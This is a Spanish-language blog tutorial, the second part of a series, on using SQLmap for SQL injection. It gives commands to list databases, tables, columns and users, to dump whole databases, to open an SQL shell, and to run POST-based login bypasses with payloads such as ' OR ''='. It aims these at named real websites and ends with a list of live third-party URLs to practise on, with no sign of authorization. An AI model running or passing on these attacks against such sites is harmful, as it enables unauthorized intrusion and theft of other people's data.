Haciendo Inyecciones SQL con SQLmap — Parte 2
En un post anterior había mencionado la herramienta para SQL injection, en donde explicaba parte de su instalación y uso, en este post continuamos, y para entenderlo mejor, lo haré con ejemplos reales.
Nos vamos donde tengamos instalado el programa y con el parámetro -u se especifica la URL del sitio web.
$ python sqlmap.py -u [URL]
Con el parámetro — dbs se listan las bases de datos que dispone el sitio, damos enter:
$ python sqlmap.py -u “http://www.apolloqueen.com/profile.php?id=125”--dbs
Aquí dejamos que SQLmap nos escanee y haga lo suyo, podrán notar que esta acción toma algunos minutos esto depende de la velocidad de nuestra red y de la cantidad de base de datos tablas y columnas esté escaneando el programa, si notan mensajes en rojo no hay problema, es SQLmap que busca columnas de la BD inyectables, solo un poquito de paciencia.
Listo¡ vamos a notar que incluso nos muestra sobre qué servidor y qué distro está corriendo la app, el lenguaje de programación que está usando y su versión, el servidor de páginas web y su versión y lo más importante el SGDB con su respectiva versión, y mas abajo las bases de datos escaneadas, las creadas por el usuario mas las propias de mysql, es decir toda una lista bastante detallada como para luego poder manipularla.
Esto no se acaba hasta que se acaba … seguimos.
Para indicar la base de datos que queremos usar se utiliza el parámetro -D y con el parámetro — tables se listan las tablas de esa base de datos:
$ python sqlmap.py -u "http://www.apolloqueen.com/profile.php?id=125" -D apollohe_459845 --tables
Ahora ya tenemos las tablas de la base de datos, pero ¿Qué contendrá?
Para indicar la tabla en la base de datos se utiliza el parámetro -T y con el parámetro — dump se puede mostrar su contenido:
$ python sqlmap.py -u [URL] -D [database] -T [table] --dump
La verdad es que la terminal es un tanto pequeña para mostrar todo el contenido, el screenshot de arriba solo es una parte.
Para mostrar todo el contenido de la base de datos utilizar el parámetro — all:
$ python sqlmap.py -u [URL] -D [database] --dump –all
Para mostrar la base de datos de la conexión actual:
$ python sqlmap.py -u [URL] -p id --current-db
Para mostrar todos los usuarios de las bases de datos:
$ python sqlmap.py -u [URL] --users
Extraer las columnas de una tabla con el parámetro — columns:
$ python sqlmap.py -u [URL] -D [database] -T [table] --columns
Podemos también ingresar a una shell interactiva con sql shell
$ python sqlmap.py -u [URL] --sql-shell
SQLmap utilizando el método Post
Para realizar un ataque con SQLmap generalmente utilizamos el método GET pero no siempre será así, es por ello que necesitamos construir o probar datos falsos o crear algunos bypasses cuando estamos frente a un login.
Aquí estos bypasses famosos nos podrían ayudar ‘ or ‘1’=’1 esto nos servirá para hacer uniones dentro de la BD pasándole algunos parámetros a SQLmap, con la ayuda esta vez de la herramienta de desarrollo de nuestro navegador. Veamos lo siguiente.
Para este ejemplo usaré un sitio web que encontré escrito en ASP.NET. https://e.cerrey.com.mx/ecerrey/asp/login.asp
Al darle en Log in podremos ingresar pero no podremos ver la estructura y los datos que se encuentran en la BD, este bypass solo nos servirá para poder ingresar como un usuario cualquiera de la bd. Pero sin embargo es un buen recurso para utilizarlo con SQLmap.
Vamos a observar lo siguiente haciendo click derecho sobre la página e ingresando a inspeccionar elementos.
- Primero tenemos que observar cada elemento como el campo de usuarios.
- Segundo, en el campo de contraseña vamos a observar en la linea azul con que nombre se encuentra dicho campo lo mismo con el campo usuario y Log in.
- Y por último el submit que esta con el nombre Log in, esto es de vital importancia ya que los datos serán enviados por este.
Una vez observado esto podremos usar SQLmap teniendo en cuenta que esta ves usaremos el parámetro –data el cual enviaran por el método POST el bypass que encontramos en el sitio.
$ python ./sqlmap.py -u "https://e.cerrey.com.mx/ecerrey/asp/login.asp" --data="id='OR''='&contra='OR''='&submit=Log-in" -p "id" --level=5 –dbs
Observemos que el resultado es el mismo como lo veníamos viendo solo que la complejidad de los parámetros cambio un poco.
Con — data lo que hacemos es que al campo con nombre id le estamos asignando el código o bypass luego para enviar todo en cadena se utiliza el símbolo & y seguido el campo con nombre contra y lo mismo con el submit, con –-level=5 forzamos un escaneo más detallado (esto puede tomar varios minutos pero el resultado valdrá la pena ).
Existen otras herramientas muy buenas como Live HTTP Headers que nos muestran las cabeceras de las páginas que visitamos es decir nos lista cada segundo que ingresamos a una web sus detalles como host, cookie, date, etc. Y en todo ello podemos encontrar también explícitamente el detalle de los campos de login y luego usarlos como paramentos en el ejemplo anterior.
Bueno espero que sea de utilidad este pequeño aporte, lo único que sigue es practicar mucho con la herramienta.
Aquí les dejo las páginas que les comentaba para hacer pruebas
- http://realdeals.com.pk/viewproperty.php?id=1659
- http://www.uselitewine.com/index.php?id=1
- http://www.ellafitzgerald.com/viewheadline.php?id=3418
- http://www.aradergalleries.com/artist.php?id=474&subcat=17
- http://www.suagacollection.com/photo-gallery.php?id=1
- http://www.cochraneventilation.com/articledetails.php?id=9
- http://www.southernpowerlifting.com/form.php?id=5
- http://www.type-o-tones.com/fonts.php?id=29
- http://www.apolloqueen.com/profile.php?id=125
- http://www.apolloqueen.com/profile.php?id=125
Y este enlace en donde publican link de sitios web con login, pero con vulnerabilidades.
Ideal para hacer pruebas con el método POST.
Puedes revisar:
Espero que este artículo sea de tu agrado y si te gustó dale click en el ❤, gracias.